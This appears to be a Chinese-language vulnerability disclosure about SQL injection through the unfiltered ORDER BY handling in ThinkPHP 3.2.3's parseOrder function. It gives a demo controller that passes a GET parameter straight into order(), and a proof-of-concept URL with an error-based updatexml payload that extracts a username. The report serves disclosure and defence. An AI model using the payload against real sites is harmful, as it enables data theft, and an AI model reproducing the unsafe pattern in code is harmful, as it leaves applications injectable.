### 简要描述:
ThinkPHP框架本身缺陷导致SQL注入漏洞,基本影响所有使用ThinkPHP开发的应用,包括thinksns、onethink等
### 详细说明:
关键代码在`\ThinkPHP\Library\Think\Db\Driver.class.php`,683行。
```
/**
* order分析
* @access protected
* @param mixed $order
* @return string
*/
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}
```
当我们提交的$order不为数组时,那么直接返回 `' ORDER BY '.$order:'`。
当我们提交的$order为数组,程序也仅仅是对$key进行了处理。没有处理$val。
此漏洞与phith0n提交的漏洞有相似性。http://**.**.**.**/bugs/wooyun-2010-086737
在此附上一个常见的demo
```
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$data = array();
$data['username'] = array('eq','admin');
$order = I('get.order');
$m = M('user')->where($data)->order($order)->find();
echo M('user')->getLastSql();
}
}
```
通过I函数获取内容以后,直接进入SQL。
```
**.**.**.**/official/thinkphp_3.2.3_full/?order=updatexml%281,concat%280x3a,%28select%20username%20from%20user%20limit%201%29%29,1%29
```
[<img src="https://images.seebug.org/upload/201510/3016141709a9b502c87cbb9e56a4c05e258e62c8.jpg" alt="order 注入.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/3016141709a9b502c87cbb9e56a4c05e258e62c8.jpg)
之前看了一下ThinkPHP的审核情况,某些问题被官方认为是开发不规范导致的。我个人看法是在安全性的前提下,尽量提高程序的灵活性。毕竟大家使用ThinkPHP框架的目的是为了敏捷开发,同时还能减少安全性等问题带来的顾虑。之前听前辈们说过一句话,“一切输入都是有害的”。以此为标准,那么即使向框架内的基础函数输入恶意数据,程序也应该保证能进行识别和过滤。很多框架实际上也是这么做的。
### 漏洞证明:

暂无评论